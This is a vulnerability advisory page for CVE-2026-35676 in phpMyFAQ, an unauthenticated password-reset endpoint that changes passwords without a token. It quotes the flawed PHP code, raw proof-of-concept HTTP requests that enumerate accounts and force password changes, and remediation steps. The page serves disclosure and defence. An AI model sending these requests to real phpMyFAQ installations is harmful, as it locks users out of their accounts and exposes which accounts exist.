Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-35676 — phpmyfaq

🟠 CVSS 8.2 — High ✅ No Known Exploit CWE-640 NVD
8.2
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

phpMyFAQ: Unauthenticated Password Reset Endpoint Allows User Enumeration and Forced Password Change Without Token Validation

Summary

The password reset API can be triggered without authentication and without any out-of-band confirmation step.

If an attacker knows a valid username + email pair, they can call the reset endpoint directly. The application immediately generates a new password, writes it to the account, and only then sends the new password by email.

This creates two issues at the same time:

  • account enumeration through the response difference between valid and invalid pairs
  • forced password reset of another user's account, which invalidates the old password immediately

In my local reproduction, I confirmed both the response difference and the password change itself.

Details

The relevant code is in phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php.

The route is exposed without authentication:

```php

#[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])]

public function updatePassword(Request $request): JsonResponse

```

The flow is straightforward:

```php

$loginExist = $user->getUserByLogin($username);

if ($loginExist && $email === $user->getUserData('email')) {

$newPassword = $user->createPassword();

$user->changePassword($newPassword);

$mail->send();

return $this->json(['success' => Translation::get(key: 'lostpwd_mail_okay')], Response::HTTP_OK);

}

return $this->json(['error' => Translation::get(key: 'lostpwd_err_1')], Response::HTTP_CONFLICT);

```

The core issue is that the password is changed immediately after a simple username and email match. There is no reset token, no confirmation link, no second step, and no requirement that the caller prove control of the mailbox before the password is replaced.

That means the endpoint is not just a "forgot password email sender". It is an actual unauthenticated password change trigger.

PoC

This was reproduced against a local Docker deployment of the project.

For a valid username and email pair:

```http

PUT /api/index.php/user/password/update HTTP/1.1

Host: 127.0.0.1

Content-Type: application/json

{"username":"user1","email":"[email protected]"}

```

Response:

```http

HTTP/1.0 200 OK

Content-Type: application/json

{"success":"Email has been sent."}

```

For an invalid pair:

```http

PUT /api/index.php/user/password/update HTTP/1.1

Host: 127.0.0.1

Content-Type: application/json

{"username":"user1","email":"[email protected]"}

```

Response:

```http

HTTP/1.0 409 Conflict

Content-Type: application/json

{"error":"Error: Username and email address not found."}

```

That already confirms enumeration.

To verify that the password really changes, created a test account:

Before calling the endpoint, the password hash stored in faquserlogin was:

```text

481bf096fd16e68ebbb8b98368bc0b5c17631a00f01a36dbb4a8dade0f0b8125

```

Then send:

```http

PUT /api/index.php/user/password/update HTTP/1.1

Host: 127.0.0.1

Content-Type: application/json

{"username":"user2","email":"[email protected]"}

```

The response was:

```http

HTTP/1.0 200 OK

Content-Type: application/json

{"success":"Email has been sent."}

```

After that, the stored hash changed to:

```text

3497f20c251da705f673dcac500fbf9e2e2e495719a7e2df9be08db42bf1286f

```

Then try to log in with the old password:

```http

POST /authenticate HTTP/1.1

Host: 127.0.0.1

Content-Type: application/x-www-form-urlencoded

faqusername=user2&faqpassword=Oldpass123!

```

The application redirected back to the login page and reported that the password was incorrect.

So this is not just a cosmetic issue in the API response. The old credential really becomes invalid.

Impact

The most realistic impact here is forced password reset and account disruption.

An attacker who knows or can guess a valid username and email pair can:

  • confirm whether the pair is valid
  • force the target account's password to change
  • cause the victim's old password to stop working immediately

If the attacker does not control the victim's mailbox, this is usually a denial-of-service style account disruption rather than instant account takeover. That is the main reason I would keep the severity at Medium.

Even so, this is still a real security issue. Password recovery should not allow an unauthenticated caller to change the account password directly.

Remediation

Recommend to change the password recovery flow to a token-based design.

1. Do not change the password inside the unauthenticated endpoint.

2. Generate a short-lived, single-use reset token and send only the reset link by email.

3. Return the same generic response for both valid and invalid username/email pairs.

4. Keep rate limiting in place, but do not rely on it as the main protection.

5. Add regression tests that verify the password hash does not change until a valid reset toke

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-35676 is classified as CWE-640: Weak Password Recovery Mechanism. The account recovery flow is easier to defeat than the password it protects.

Affected software

CVE-2026-35676 is recorded against 3 packages.

  • phpmyfaq/phpmyfaq (fixed in 4.1.3)
  • thorsten/phpmyfaq (fixed in 4.1.3)
  • unknown

Timeline and source

Published on 20 May 2026 and last revised on 28 May 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Package)

Other advisories for this package

phpmyfaq/phpmyfaq has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-640: Weak Password Recovery Mechanism) in other software:

Details

Severity HIGH
CVSS Score 8.2
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
CWE CWE-640
Public Exploit ✅ No
Source NVD
Published 2026-05-20
Updated 2026-08-20
Modified 2026-05-28
Fix URL N/A

Affected Packages

Software From version Fixed in
phpmyfaq/phpmyfaq 4.1.3
thorsten/phpmyfaq 4.1.3
unknown

Similar Threats

Site Security Check

Is phpmyfaq part of your stack?

CVE-2026-35676 is rated CVSS 8.2 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026